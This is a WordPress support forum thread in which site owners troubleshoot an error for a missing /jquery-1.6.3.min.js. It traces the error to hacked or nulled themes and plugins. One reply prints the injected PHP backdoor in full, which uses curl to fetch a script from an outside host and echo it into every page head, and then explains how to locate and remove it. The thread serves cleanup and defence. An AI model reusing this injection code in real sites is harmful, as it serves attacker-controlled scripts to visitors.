Support » Fixing WordPress » The requested URL /jquery-1.6.3.min.js

  • Hi all,

    I’m here cause I have this issue on my website (www.centreculturelremicourt.be) :

    The requested URL /jquery-1.6.3.min.js was not found on this server.

    I try the solution in header.php, but I have no “if” command in this file !

    Could someone help to resolve this issue please ?

    Thanks a lot.

Viewing 15 replies - 1 through 15 (of 33 total)
  • Hi,

    This may be a plugin that :
    – search by error the file jquery-1.6.3.min.js on your server instead of going to pick it up at Google.
    or
    – search by error the file jquery-1.6.3.min.js on your server but not at the good place.

    Deactivate all your plugins, then load your website home page, re-activate plugins 1 by 1 and reload your website home page at each time to identify which plugin cause the issue.

    Thanks for your help.

    It was the frist thing I try, but no positive result …

    Turn ON the Debug management in WordPress (wp-config.php), this will show you all requests and you should see which component try to access the jQuery file.

    esmi

    (@esmi)

    Forum Moderator

    HTUWP

    (@stefanristicdev)

    Hello! I’ve just fixed this problem on one of my websites, so I might be able to help.

    Seems that someone massively distributed hacked themes, and today his website went down – that’s why you have this error now. Your website is trying to find jquery file on his website, but can’t find it.

    <?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){if (function_exists('curl_init')){$url = "http://www.jquerye.com/jquery-1.6.3.min.js";$ch = curl_init();	$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_slider');} ?>

    This is how mine malicious code looked.

    Download your theme folder, run a search for “jquery-1.6.3.min.js” through all files(by using Notepad++ on Windows or Search for Files on Linux) and locate code similar to one from above.

    If you find this code in some important file(functions.php for example) delete this part:

    {if (function_exists('curl_init')){$url = "http://www.jquerye.com/jquery-1.6.3.min.js";$ch = curl_init();	$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}

    save the file, re-upload it and see if it helps.

    If you find this code in some weird file(mine was class.php) and all it contains is check for one function and malicious code, delete this file, and create the one with same name, but empty the code(only <?php ?>).

    Edit: If you have a legitimate theme, then be sure to check plugins also.

    Regards,
    Stefan

    Hey, i had the same problem today at one of my sites and it seems that it was a “All In One SEO” plugin that i have downloaded from the net (i was looking -for- and found a Nulled Pro edition of the plugin).
    I uninstalled that and the problem is gone.
    I installed now the original plugin (the free edition from WordPress.org Plugins Page) and i will see what it will happen. Still everything looks okay. Hope it will remain like this!

    p.s.
    Security on WP is a big issue. It seems that the last year or so, is a booming of Script Kiddies and the attacks on WP sites has been skyrocketed! The easy solutions is plugins like Security Ninja, WP firewall etc. etc. but again dosn’t seems that you are 100% safe. Not even close to that…

    esmi

    (@esmi)

    Forum Moderator

    Thanks to all for your help, I’ll try all these solution and make a come back 😉

    Hi all

    I found the problem in a file in the following path:
    .. \ classes \ Admin \ Theme \

    Deleting the file class.php and this solve the problem.

    Dear Stefan,
    You Rock!

    Just recovered my webiste from same issue. http://nestasoft.com
    Thanks

    Moderator Andrew Nevins

    (@anevins)

    Forum moderator

    Please review the links Esmi posted.
    Removing the malicious code is a superficial solution.

    Ask yourself how the malicious code was placed in your website firstly.

    StefanRisticDev,

    Thanks, I had the same problem and your solution corrected it! Big, big thank you!

    Question: What measures should I take in order to prevent this from happening again?

    Many Thanks!

    @atlankford
    how you solved the problem?

    `I solved the problem with the theme Sahifa Sahifa / includes / functions-init.php there’s the rub this my site http://www.alanteypico.net/web

    Hello, I have the same problem, try disabling the plugins, but the problem persists. I’ve seen some that solved the problem in the file class.php. Where I can find this file?

    This is the site http://www.kalindi.cl/web

    Thank you very much

Viewing 15 replies - 1 through 15 (of 33 total)
  • The topic ‘The requested URL /jquery-1.6.3.min.js’ is closed to new replies.